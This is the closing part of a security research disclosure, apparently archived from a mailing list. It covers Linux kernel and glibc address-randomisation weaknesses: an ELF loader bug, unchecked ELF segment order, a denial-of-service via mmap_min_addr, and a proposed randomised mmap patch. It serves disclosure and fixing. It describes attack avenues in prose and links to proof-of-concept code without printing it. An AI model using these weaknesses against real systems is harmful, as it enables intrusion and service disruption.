- ld library ELF load error
https://sourceware.org/bugzilla/show_bug.cgi?id=22851
- Thread stack and heap caches
https://sourceware.org/bugzilla/show_bug.cgi?id=22852
- Heap address of pthread_create thread is aligned
https://sourceware.org/bugzilla/show_bug.cgi?id=22853
========================================================================
III.1 Holes
========================================================================
As shown in Section II.4, the ELF interpreter loader in the Linux kernel
contains an error and allows releasing part of the interpreter library memory.
A relevant fix was proposed to the community, but was neglected without action:
https://lkml.org/lkml/2017/7/14/290
========================================================================
III.2 Order of loading ELF file segments
========================================================================
As noted above, in the kernel and in the code of the glibc library, there is no
checking of file ELF segments: the code simply trusts that they are in the
correct order. Proof-of-concept code, as well as a fix, is enclosed:
https://github.com/blackzert/aslur
The fix is quite simple: we go through the segments and ensure that the current
one does not overlap the next one, and that the segments are sorted in the
ascending order of vaddr.
https://lkml.org/lkml/2018/2/26/571
========================================================================
III.3 Use of mmap_min_addr when searching for mmap allocation addresses
========================================================================
As soon as a fix was written for mmap, in order to return addresses with
sufficient entropy, a problem arose: some mmap calls failed with an access
permission error. This happened even as root or when requested by the kernel
when executing execve.
In the address selection algorithm (described earlier in Introduction), one of
the listed options is checking addresses for security restrictions. In the
current implementation, this check verifies that the selected address is larger
than mmap_min_addr. This is a system variable that can be changed by an
administrator through sysctl. The system administrator can set any value, and
the process cannot allocate a page at an address less than this value. The
default value is 65536.
The problem was that when the address function for mmap was called on x86-64,
the Linux kernel used 4096 as the value of the minimal lower boundary, which is
less than the value of mmap_min_addr. The function cap_mmap_addr forbids this
operation if the selected address falls between 4096 and mmap_min_addr.
cap_mmap_addr is called implicitly; this function is registered as a hook for
security checking. This architectural solution raises questions: first, we
choose the address without having the ability to test it with external
criteria, and then we check its permissibility in accordance with the current
system parameters. If the address does not pass the check, then even if the
address is selected by the kernel, it can be "forbidden" and the entire
operation will end with the EPERM error.
An attacker can use this fact to cause denial of service in the entire system:
if the attacker can specify a very large value, no user process can start in
the system. Moreover, if the attacker manages to store this value in the system
parameters, then even rebooting will not help—all created processes will be
terminated with the EPERM error.
Currently, the fix is to use the mmap_min_addr value as the lowest allowable
address when making a request to the address search function. Such code is
already used for all other architectures.
What will happen if the system administrator starts changing this value on a
running machine? This question remains unanswered, since all new allocations
after the change may end with the EPERM error; no program code expects such an
error and does not know what to do with it. The mmap documentation states the
following:
"EPERM The operation was prevented by a file seal; see fcntl (2)."
That is to say, the kernel cannot return EPERM to MAP_ANONYMOUS, although in
fact that is not so.
https://lkml.org/lkml/2018/2/26/1053
========================================================================
III.4 mmap
========================================================================
The main mmap problem discussed here is the lack of entropy in address choice.
Ideally, the logical fix would be to select memory randomly. To select it
randomly, one must first build a list of all free regions of appropriate size
and then, from that list, select a random region and an address from this
region that meets the search criteria (the length of the requested region and
the allowable lower and upper boundaries).
To implement this logic, the following approaches can be applied:
1. Keep the list of voids in a descending-order array. In this case, the
choice of random element is made in a single operation, but maintaining this
array requires many operations for releasing (allocating) the memory when the
current virtual address space map of the process changes.
2. Keep the list of voids in a tree and a list, in order to find an outer
boundary that satisfies the length requirement, and select a random element
from the array. If the element does not fit the minimum/maximum address
restrictions, select the next one, and so on until one is found (or none
remain). This approach involves complex list and tree structures similar to
those already existing for vma with regard to change of address space.
3. Use the existing structure of the augmented red-black vma tree to bypass
the list of allowed gap voids and select a random address. In the worst case,
each choice will have to bypass all the peaks, but rebuilding the tree does not
incur any additional slowdown of performance.
Our choice went to the last approach. We can use the existing vma
organizational structure without adding redundancy and select an address using
the following algorithm:
1. Use the existing algorithm to find a possible gap void with the largest
valid address. Also, record the structure of vma following it. If there is no
such structure, return ENOMEM.
2. Record the found gap as the result and vma as the maximum upper boundary.
3. Take the first vma structure from the doubly linked list. It will be a
leaf in the red-black tree, because it has the smallest address.
4. Make a left-hand traversal of the tree from the selected vma, checking the
permissibility of the free region between the vma in question and its
predecessor. If the free region is allowed by the restrictions, obtain another
bit of entropy. If the entropy bit is 1, redefine the current value of the gap
void.
5. Return a random address from the selected gap void region.
One way to optimize the fourth step of the algorithm is not to enter subtrees
whose gap extension size is smaller than the required length.
This algorithm selects an address with sufficient entropy, although it is
slower than the current implementation.
As far as obvious drawbacks, it is necessary to bypass all vma structures that
have a sufficient gap void length. However, this is offset by the absence of
any performance slowdown when changing address space.
Here is the output of `less /proc/self/maps` after the patch:
314a2d0da000-314a2d101000 r-xp /lib/x86_64-linux-gnu/ld-2.26.so
314a2d301000-314a2d302000 r--p /lib/x86_64-linux-gnu/ld-2.26.so
314a2d302000-314a2d303000 rw-p /lib/x86_64-linux-gnu/ld-2.26.so
314a2d303000-314a2d304000 rw-p
3169afcd8000-3169afcdb000 rw-p
316a94aa1000-316a94ac6000 r-xp /lib/x86_64-linux-gnu/libtinfo.so.5.9
316a94ac6000-316a94cc5000 ---p /lib/x86_64-linux-gnu/libtinfo.so.5.9
316a94cc5000-316a94cc9000 r--p /lib/x86_64-linux-gnu/libtinfo.so.5.9
316a94cc9000-316a94cca000 rw-p /lib/x86_64-linux-gnu/libtinfo.so.5.9
3204e362d000-3204e3630000 rw-p
4477fff2c000-447800102000 r-xp /lib/x86_64-linux-gnu/libc-2.26.so
447800102000-447800302000 ---p /lib/x86_64-linux-gnu/libc-2.26.so
447800302000-447800306000 r--p /lib/x86_64-linux-gnu/libc-2.26.so
447800306000-447800308000 rw-p /lib/x86_64-linux-gnu/libc-2.26.so
447800308000-44780030c000 rw-p
509000396000-509000d60000 r--p /usr/lib/locale/locale-archive
56011c1b1000-56011c1d7000 r-xp /bin/less
56011c3d6000-56011c3d7000 r--p /bin/less
56011c3d7000-56011c3db000 rw-p /bin/less
56011c3db000-56011c3df000 rw-p
56011e0d8000-56011e0f9000 rw-p [heap]
7fff6b4a4000-7fff6b4c5000 rw-p [stack]
7fff6b53b000-7fff6b53e000 r--p [vvar]
7fff6b53e000-7fff6b540000 r-xp [vdso]
ffffffffff600000-ffffffffff601000 r-xp [vsyscall]
https://lkml.org/lkml/2018/2/27/267
========================================================================
IV. Related Work
========================================================================
The problem with current mmap behavior was also found by other researches:
Hector Marco-Gisbert, Ismael Ripoll-Ripoll. ASLR-NG: ASLR Next Generation. 2016
https://cybersecurity.upv.es/solutions/aslr-ng/ASLRNG-BH-white-paper.pdf
Julian Kirsch, Bruno Bierbaumer, Thomas Kittel and Claudia Eckert Dynamic
Loader Oriented Programming on Linux. 2017
https://github.com/kirschju/wiedergaenger/blob/master/kirsch-roots-2017-paper.pdf
========================================================================
V. References
========================================================================
1. https://lkml.org/lkml/2012/11/5/673
2. https://cwe.mitre.org/data/definitions/119.html
3. https://cwe.mitre.org/data/definitions/190.html
4. https://cwe.mitre.org/data/definitions/120.html
5. https://cwe.mitre.org/data/definitions/704.html
6. https://cybersecurity.upv.es/attacks/offset2lib/offset2lib.html
7. https://www.cvedetails.com/cve/CVE-2014-9427/
8. https://source.android.com/security/enhancements/enhancements70
9. https://android-review.googlesource.com/c/platform/bionic/+/178130/2
10. http://gcc.gnu.org/onlinedocs/gcc-3.3/gcc/Thread-Local.html
11. http://www.phrack.org/issues/49/14.html#article
12.
http://www.blackhat.com/presentations/bh-europe-09/Fritsch/Blackhat-Europe-2009-Fritsch-Buffer-Overflows-Linux-whitepaper.pdf
13. https://crypto.stanford.edu/cs155old/cs155-spring05/litch.pdf
14.
https://www.blackhat.com/docs/eu-17/materials/eu-17-Goryachy-How-To-Hack-A-Turned-Off-Computer-Or-Running-Unsigned-Code-In-Intel-Management-Engine-wp.pdf
15. https://cwe.mitre.org/data/definitions/416.html
16. http://www.skyfree.org/linux/references/ELF_Format.pdf
17. https://lwn.net/Articles/741335/
18. https://cwe.mitre.org/data/definitions/457.html
19. http://blog.ptsecurity.com/2018/02/new-bypass-and-protection-techniques.html
All sources and patches could be found at https://github.com/blackzert/aslur
repo.
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic